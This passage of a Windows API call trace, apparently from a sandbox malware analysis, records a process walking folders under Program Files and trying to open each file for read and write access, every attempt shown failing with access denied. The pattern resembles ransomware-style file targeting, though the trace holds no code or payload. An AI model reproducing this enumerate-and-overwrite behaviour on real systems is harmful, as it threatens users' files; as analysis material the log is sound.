ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.342] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0180.342] GetProcessHeap () returned 0x990000 [0180.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28a) returned 0x9dc860 [0180.342] GetProcessHeap () returned 0x990000 [0180.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x94) returned 0x9b0940 [0180.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0180.343] GetProcessHeap () returned 0x990000 [0180.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.343] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.343] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0180.343] GetProcessHeap () returned 0x990000 [0180.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x296) returned 0x9ffa00 [0180.343] GetProcessHeap () returned 0x990000 [0180.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa4) returned 0x9b0940 [0180.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b66a8 [0180.343] GetProcessHeap () returned 0x990000 [0180.343] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.343] FindNextFileW (in: hFindFile=0x9b66a8, lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.343] FindNextFileW (in: hFindFile=0x9b66a8, lpFindFileData=0x29deb68 | out: lpFindFileData=0x29deb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0180.343] FindClose (in: hFindFile=0x9b66a8 | out: hFindFile=0x9b66a8) returned 1 [0180.344] GetProcessHeap () returned 0x990000 [0180.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x990000) returned 1 [0180.344] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0180.344] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0180.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.344] GetLastError () returned 0x5 [0180.345] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0180.345] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0180.345] GetProcessHeap () returned 0x990000 [0180.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffa00 | out: hHeap=0x990000) returned 1 [0180.345] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0180.345] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0180.345] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0180.345] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0180.345] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.345] GetProcessHeap () returned 0x990000 [0180.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0180.345] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TTS20", cAlternateFileName="")) returned 0 [0180.345] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.345] GetProcessHeap () returned 0x990000 [0180.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.345] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0180.345] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.346] GetProcessHeap () returned 0x990000 [0180.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.346] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0180.346] GetProcessHeap () returned 0x990000 [0180.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x5a) returned 0x9b9330 [0180.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.348] GetProcessHeap () returned 0x990000 [0180.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9330 | out: hHeap=0x990000) returned 1 [0180.348] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.348] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ado", cAlternateFileName="")) returned 1 [0180.348] GetProcessHeap () returned 0x990000 [0180.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x25c) returned 0x9f9760 [0180.348] GetProcessHeap () returned 0x990000 [0180.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x62) returned 0x9b0940 [0180.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.350] GetProcessHeap () returned 0x990000 [0180.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.350] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.351] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0180.351] GetProcessHeap () returned 0x990000 [0180.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x264) returned 0x9b1eb0 [0180.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.352] GetLastError () returned 0x5 [0180.352] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0180.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.352] GetLastError () returned 0x5 [0180.352] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0180.352] GetProcessHeap () returned 0x990000 [0180.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x6e) returned 0x9b0940 [0180.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.352] GetProcessHeap () returned 0x990000 [0180.352] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.353] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.353] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0180.353] GetProcessHeap () returned 0x990000 [0180.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x270) returned 0x9dc860 [0180.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.354] GetLastError () returned 0x5 [0180.354] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0180.354] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.354] GetProcessHeap () returned 0x990000 [0180.354] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0180.354] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0180.355] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0180.355] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0180.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.356] GetLastError () returned 0x5 [0180.356] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0180.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.356] GetLastError () returned 0x5 [0180.356] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0180.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.356] GetLastError () returned 0x5 [0180.356] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0180.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common 